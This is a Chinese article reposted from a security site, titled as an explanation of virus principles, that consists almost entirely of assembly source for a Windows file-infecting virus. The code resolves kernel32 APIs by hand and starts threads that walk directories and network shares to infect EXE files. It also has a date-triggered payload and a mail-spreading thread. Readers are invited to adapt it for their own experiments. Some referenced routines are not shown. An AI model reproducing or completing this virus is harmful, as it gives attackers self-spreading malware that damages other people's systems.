网络通信 频道

Dos病毒原理(2)

  源代码: 

----------------------------------- 

测试时需要D:\test. 
另外,目的油箱可能需要改变,拿自己的实验吧 :) 

.386 
.model flat,stdcall 
option casemap:none 
include useful.inc 

.data 
hi db "hi",0 
ppmm db "ppmm,you need no reason to love me!",0 

.code 
main: 
mov HostEntry,offset ret_addr 
jmp VStart 
ret_addr: 
Invoke MessageBox,NULL,offset ppmm,offset hi,0 
ret 

CODE SEGMENT 

VStart: ;virus starts here :) 
call start 
start: 
pop ebx 
sub ebx , offset start 

call GetKBase 
call GetAPIz 

call PayLoad 

lea esi,[offset szEXEPath+ebx] 
push MAX_PATH 
push esi 
push NULL 
mov eax , 12345678h 
_GetModuleFileNameA = dword ptr $-4 
call eax 

lea edi,[offset szFilePath+ebx] 
push 50 
push edi 
mov eax , 12345678h 
_GetSystemDirectoryA = dword ptr $-4 
call eax 
add eax,FNameSize 
mov SCRPathSize[ebx],eax 

lea eax,[offset szFileName+ebx] 
push eax 
push edi 
mov eax , 12345678h 
_lstrcat = dword ptr $-4 
call eax 

push esi 
push edi 
mov eax , 12345678h 
_lstrcmpi = dword ptr $-4 
call eax 
or eax,eax 
jz StartInfect 

call CreatePE 
call rtInit 
call MakeSCRAlive 
Ret2Host: 
push HostEntry[ebx] 
ret ;此时栈顶为HostEntry,返回正常入口执行 

StartInfect: 
lea eax,[offset nGetProcAddress+ebx] ;Mutex name 
push eax 
push FALSE 
push NULL 
mov eax , 12345678h 
_CreateMutex = dword ptr $-4 
call eax 

lea eax,[offset MonitorThread + ebx] 
push 0 
push 0 
push ebx ;I pass 0 first :( 
push eax 
push 0 
push 0 
mov eax , 12345678h 
_CreateThread = dword ptr $-4 
call eax 

lea eax,[offset PEThread + ebx] 
push 0 
push 0 
push ebx ;I pass 0 first :( 
push eax 
push 0 
push 0 
call _CreateThread[ebx] 

call MailThread ;while(TRUE) 

;**********获得image of kernel32.dll的基址***************** 
GetKBase: 
mov edi , [esp+4] 
and edi , 0FFFF0000h 
.while TRUE 
.if WORD ptr [edi] == IMAGE_DOS_SIGNATURE 
mov esi, edi 
add esi, [esi+03Ch] 
.if DWORD ptr [esi] == IMAGE_NT_SIGNATURE 
.break 
.endif 
.endif 
sub edi, 010000h 
.if edi < MIN_KERNEL_SEARCH_BASE ;win9x 
mov edi, 0bff70000h ;0bff7000h=9x"base 
.break 
.endif 
.endw 
mov hKernel32[ebx],edi 
ret 

GetAPIz: 
mov edx,edi ;edx->Kernel32_Base 
assume edx :ptr IMAGE_DOS_HEADER 
add edx,[edx].e_lfanew 
assume edx:ptr IMAGE_NT_HEADERS 
mov edx,[edx].OptionalHeader.DataDirectory.VirtualAddress 
add edx,hKernel32[ebx] 
assume edx:ptr IMAGE_EXPORT_DIRECTORY 
mov ebp,[edx].AddressOfNames 
add ebp,hKernel32[ebx] ;now ebp=Addr of RVAofName[] 
xor eax,eax ;eax AddressOfNames Index 

.repeat 
push 14 ;Lenth of GetProcAddress 
pop ecx 
mov edi,[ebp] 
add edi,hKernel32[ebx] 
lea esi,[offset nGetProcAddress+ebx] 
repz cmpsb 
.if zero? 
.break 
.endif 
add ebp,4 ;下一个RVA 
inc eax 
.until eax == [edx].NumberOfNames 

mov ebp, [edx].AddressOfNameOrdinals 
add ebp, hKernel32[ebx] 
movzx ecx, word ptr [ebp+eax*2] 
mov ebp, [edx].AddressOfFunctions ;get addr of the api 
add ebp, hKernel32[ebx] 
mov eax, [ebp+ecx*4] 
add eax,hKernel32[ebx] 
mov _GetProcAddress[ebx],eax ;Save GetProcAddress 

GetOApiz: 

call @api_table 
db "LoadLibraryA",0 
db "CreateThread",0 
db "CreateRemoteThread",0 
db "WinExec",0 
db "CreateMutexA",0 
db "OpenMutexA",0 
db "ReleaseMutex",0 
db "FindFirstFileA",0 
db "FindNextFileA",0 
db "FindClose",0 
db "CreateFileA",0 
db "CreateFileMappingA",0 
db "MapViewOfFile",0 
db "UnmapViewOfFile",0 
db "SetFilePointer",0 
db "WriteFile",0 
db "CloseHandle",0 
db "VirtualAlloc",0 
db "VirtualAllocEx",0 
db "WriteProcessMemory",0 
db "VirtualFree",0 
db "VirtualFreeEx",0 
db "lstrcmpi",0 
db "lstrcpy",0 
db "lstrcat",0 
db "lstrlen",0 
db "GetFileSize",0 
db "GetSystemDirectoryA",0 
db "GetModuleFileNameA",0 
db "Sleep",0 
db "GetSystemTime",0 
db "DeleteFileA",0 
db "OpenProcess",0 
@api_table: 
pop edi 
call @api_dest 
K_Apiz: 
dd offset _LoadLibraryA 
dd offset _CreateThread 
dd offset _CreateRemoteThread 
dd offset _WinExec 
dd offset _CreateMutex 
dd offset _OpenMutex 
dd offset _ReleaseMutex 
dd offset _FindFirstFile 
dd offset _FindNextFile 
dd offset _FindClose 
dd offset _CreateFile 
dd offset _CreateFileMapping 
dd offset _MapViewOfFile 
dd offset _UnmapViewOfFile 
dd offset _SetFilePointer 
dd offset _WriteFile 
dd offset _CloseHandle 
dd offset _VirtualAlloc 
dd offset _VirtualAllocEx 
dd offset _WriteProcessMemory 
dd offset _VirtualFree 
dd offset _VirtualFreeEx 
dd offset _lstrcmpi 
dd offset _lstrcpy 
dd offset _lstrcat 
dd offset _lstrlen 
dd offset _GetFileSize 
dd offset _GetSystemDirectoryA 
dd offset _GetModuleFileNameA 
dd offset _Sleep 
dd offset _GetSystemTime 
dd offset _DeleteFile 
dd offset _OpenProcess 
K_API_NUM = ($-K_Apiz)/4 
@api_dest: 
pop esi 
push K_API_NUM 
pop ecx 
xor ebp,ebp 
K_begin: 
push ecx 
push edi 
push hKernel32[ebx] 
call _GetProcAddress[ebx] 
or eax,eax 
jz GA_Fail 
mov edx , [esi+ebp] 
mov dword ptr [edx+ebx],eax 
xor eax,eax 
repnz scasb ;寻找字符串结束标志0,使edi指向下个函数名 
add ebp,4 
pop ecx 
loop K_begin 

@pushsz "MPR.dll" 
call _LoadLibraryA[ebx] 
or eax,eax 
jz short GA_Fail 
xchg esi,eax ;HMODULE of MPR.dll 

Mpr_begin: 

@pushsz "WNetOpenEnumA" 
push esi 
call _GetProcAddress[ebx] 
mov _WNetOpenEnum[ebx],eax 
@pushsz "WNetEnumResourceA" 
push esi 
call _GetProcAddress[ebx] 
mov _WNetEnumResource[ebx],eax 
@pushsz "WNetCloseEnum" 
push esi 
call _GetProcAddress[ebx] 
mov _WNetCloseEnum[ebx],eax 

GA_Fail: 
ret 

PayLoad: 
call @PL1 
SystemTime SYSTEMTIME <> 
@PL1: mov esi,[esp] 
mov eax , 12345678h 
_GetSystemTime = dword ptr $-4 
call eax 

movzx eax , word ptr [esi+6] ;SystemTime.wDay 
cmp ax,14h ;15号吗? 
jnz PL_Exit 
KILL: 
push FILE_ALL 
@pushsz "d:\test" 
call EnumDir 
PL_Exit: 
ret 

;********************************************* 
;the thread begin to enum all file in disk and 
;network , when it finds a pe file Infect it! 
;********************************************* 
PEThread PROC MReloc : DWORD 

PT_Work: 
mov ebx,MReloc 

push FILE_EXE 
@pushsz "d:\test" 
call EnumDir 

;push NULL 
;call EnumNetWork 

push 1000*60*60 ;sleep an hour:) 
call _Sleep[ebx] 
jmp short PT_Work 

PEThread ENDP 

;枚举网络邻居 
EnumNetWork PROC pNetResource : DWORD 

LOCAL hEnum : DWORD 
LOCAL Count : DWORD 
LOCAL BufferSize : DWORD 

pushad 
push 0FFFFFFFFh 
pop Count 
push 16*1024 
pop BufferSize 

lea eax , hEnum 
push eax 
push pNetResource 
push 0 
push RESOURCETYPE_DISK 
push RESOURCE_GLOBALNET 
mov eax , 12345678h 
_WNetOpenEnum = dword ptr $-4 
call eax 
or eax,eax 
jnz EN_Exit 

push PAGE_READWRITE 
push MEM_RESERVE or MEM_COMMIT 
push 16*1024 
push 0 
mov eax , 12345678h 
_VirtualAlloc = dword ptr $-4 
call eax 
or eax,eax 
jz short EN_Close 
mov pNetResource,eax 

lea eax,BufferSize 
push eax 
push pNetResource 
lea eax,Count 
push eax 
push hEnum 
mov eax , 12345678h 
_WNetEnumResource = dword ptr $-4 
call eax 
or eax,eax 
jnz short EN_Free 

mov ecx,Count 
mov edi,pNetResource 
assume edi:ptr NETRESOURCEA 

EN_Loop: 
push ecx 
mov eax,[edi].dwUsage 
and al,2 
.IF al == 2 

push edi 
call EnumNetWork 
.ELSE 
mov eax,[edi].lpRemoteName 
push FILE_EXE 
push eax 
call EnumDir 

.ENDIF 
add edi,20h ; sizeof NETRESOURCE 
pop ecx 
loop EN_Loop 

EN_Free: 
push MEM_RELEASE 
push 0 
push pNetResource 
mov eax , 12345678h 
_VirtualFree = dword ptr $-4 
call eax 

EN_Close: 
push hEnum 
mov eax , 12345678h 
_WNetCloseEnum = dword ptr $-4 
call eax 

EN_Exit: 
popad 
ret 4 
EnumNetWork ENDP 

;************InfectDisk*********************** 
;遍历本地硬盘,从C盘到Z盘,调用EnumDir遍历所有exe 
;********************************************* 
EnumDisk PROC DirName : DWORD,FileType : DWORD 

.REPEAT 
push FileType 
push DirName 
call EnumDir 

mov eax,DirName 
inc byte ptr [eax] 
mov al,byte ptr[eax] 
.UNTIL al > "z" 
mov byte ptr [eax] , "c" 

ret 8 

EnumDisk ENDP 

;************EnumDir************ 
;遍历DirName,寻找FileType类型文件 
;******************************* 
EnumDir PROC DirName : DWORD , FileType:DWORD 

LOCAL hSearch : DWORD 
LOCAL DirorFile[MAX_PATH] : DWORD 

pushad 
push DirName 
lea esi,DirorFile 
push esi 
mov eax , 12345678h 
_lstrcpy = dword ptr $-4 
call eax 

@pushsz "\*.*" 
push esi ;DirorFile 
call _lstrcat[ebx] 

lea edi,[offset wfd+ebx] 
push edi 
push esi 
mov eax , 12345678h 
_FindFirstFile = dword ptr $-4 
call eax 
cmp eax,INVALID_HANDLE_VALUE 
jz ED_Exit 
mov hSearch,eax 

.REPEAT 
.if byte ptr [wfd+44+ebx]=="." 
jmp short EN_NEXT 
.endif 

push DirName 
push esi 
call _lstrcpy[ebx] 

@pushsz "\" 
push esi 
call _lstrcat[ebx] 

lea eax,[wfd+44+ebx] 
push eax 
push esi ;DirorFile 
call _lstrcat[ebx] 

mov eax , dword ptr [wfd+ebx] 
and eax , FILE_ATTRIBUTE_DIRECTORY 
.if eax ==FILE_ATTRIBUTE_DIRECTORY 
push dword ptr FileType 
push esi 
call EnumDir 
.else ;是文件 

push dword ptr FileType 
push esi 
call AnFile 
.endif 
EN_NEXT: 
push edi 
push hSearch 
mov eax , 12345678h 
_FindNextFile = dword ptr $-4 
call eax 

.UNTIL eax==0 ;FindNexeFile fail 

ED_Close: 
push hSearch 
mov eax , 12345678h 
_FindClose = dword ptr $-4 
call eax 
ED_Exit: 
popad 
ret 8 
EnumDir ENDP

文章转载地址:http://www.cnpaf.net/Class/Virus/05122020353961551261.htm

0
相关文章